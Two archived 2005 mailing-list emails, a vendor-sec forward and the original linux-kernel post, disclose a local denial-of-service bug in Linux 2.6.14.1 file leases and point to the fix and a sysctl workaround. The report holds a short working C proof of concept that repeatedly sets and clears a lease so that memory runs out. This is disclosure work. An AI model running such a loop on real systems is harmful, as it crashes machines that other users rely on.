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Date: Mon, 14 Nov 2005 10:43:29 -0800
From: Chris Wright <chrisw@osdl.org>
To: vendor-sec@lst.de
Subject: [vendor-sec] [avi@argo.co.il: local denial-of-service with file leases]

Memory leak easily triggered by normal samba usage.  Fix:

http://kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff_plain;h=dc15ae14e97ee9d5ed740cbb0b94996076d8b37e;hp=9e6c67fd2716720d9029d38ea25884efcfdedeb6

thanks,
-chris

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Date: 	Thu, 10 Nov 2005 19:00:46 +0200
From: Avi Kivity <avi@argo.co.il>
To: linux-kernel <linux-kernel@vger.kernel.org>
Subject: local denial-of-service with file leases
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)

the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

   char *fname = av[0];

   int fd = open(fname, O_RDONLY);

   int r;

   

   while (1) {

       r = fcntl(fd, F_SETLEASE, F_RDLCK);

       if (r == -1) {

           perror("F_SETLEASE, F_RDLCK");

           exit(1);

       }

       r = fcntl(fd, F_SETLEASE, F_UNLCK);

       if (r == -1) {

           perror("F_SETLEASE, F_UNLCK");

           exit(1);

       }

   }

   return 0;

}

it will suck all available memory into fasync_cache, causing an oom. a 
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691

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